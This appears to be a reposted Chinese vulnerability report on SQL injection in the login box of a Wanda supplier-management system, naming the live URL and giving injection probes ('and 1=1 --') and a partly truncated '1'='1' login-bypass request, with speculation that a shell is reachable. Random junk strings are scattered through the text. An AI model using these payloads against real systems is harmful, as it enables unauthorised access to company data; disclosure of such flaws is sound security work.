万达供应商系统SQL注射漏洞

admin

简要描述：万达某分站sql注入。敏感信息泄露。
详细说明：
万达scm系统登陆框sql注入。
5 F- v# e; B& j! P: t4 ^
http://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27
; ]5 o# L+ [% l. q

500错误。

  V* g: J  p2 [. D# E1 G* w) m+ z) K用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。
http://www.myhack58.com/Article/UploadPic/2013-3/201332317223677547.png
( J2 b1 B+ |) C1 L0 I& ~截图有一点问题，用户名，和密码输入' and 1=1 --可以得到相同的提示，可自测。）
# \' y* ?1 H, N+ t) V; ~( C经过分析，登陆验证的过程应该是：

取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。
http://www.myhack58.com/Article/UploadPic/2013-3/201332317233886589.png

- W% @2 V# m& ?! x; u+ P0 woracle数据库，存在注入点。@大连万达，你怎么看？
4 ~* W# g2 ^3 @8 }5 bhttp://www.myhack58.com/Article/UploadPic/2013-3/201332317241777393.png
  U+ g* p) S% W9 m0 a7 D  r
系统里有万达的供应商资料什么的,提交数据的地方随便输入'，提交500错误。没深入。目测可shell。
漏洞证明：
3 r- e6 }. @$ P, H% w$ }万达scm系统登陆框sql注入。

http://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27
  _" J+ m; ?1 r( g& p
& q1 j6 _1 K- e; u* P- Z
500错误。

用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。
http://www.myhack58.com/Article/UploadPic/2013-3/20133231728465694.png


（截图有一点问题）

# M- M& V# I1 ]# M怎么饶都饶不过去；经过分析，登陆验证的过程应该是：

9 B2 \' p7 w! Q" C, }+ F取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。
8 O6 A6 c1 M: X# ]
绕过：
http://www.vans-china.cn/LoginUs ... 1%27=%271&PWD=1
' o( x# a) Y7 N' x

oracle数据库，存在注入点。@大连万达，你怎么看？
​系统里有万达的供应商资料什么的，有发布公告，没深入。目测可shell。

# u4 i3 C: P( [修复方案：
。。。
' j& J; K9 C+ g% L# O5 L6 C8 ?( l

$ Q7 P/ B- y  x, o厂商已经确认

[/td][/tr]
[/table]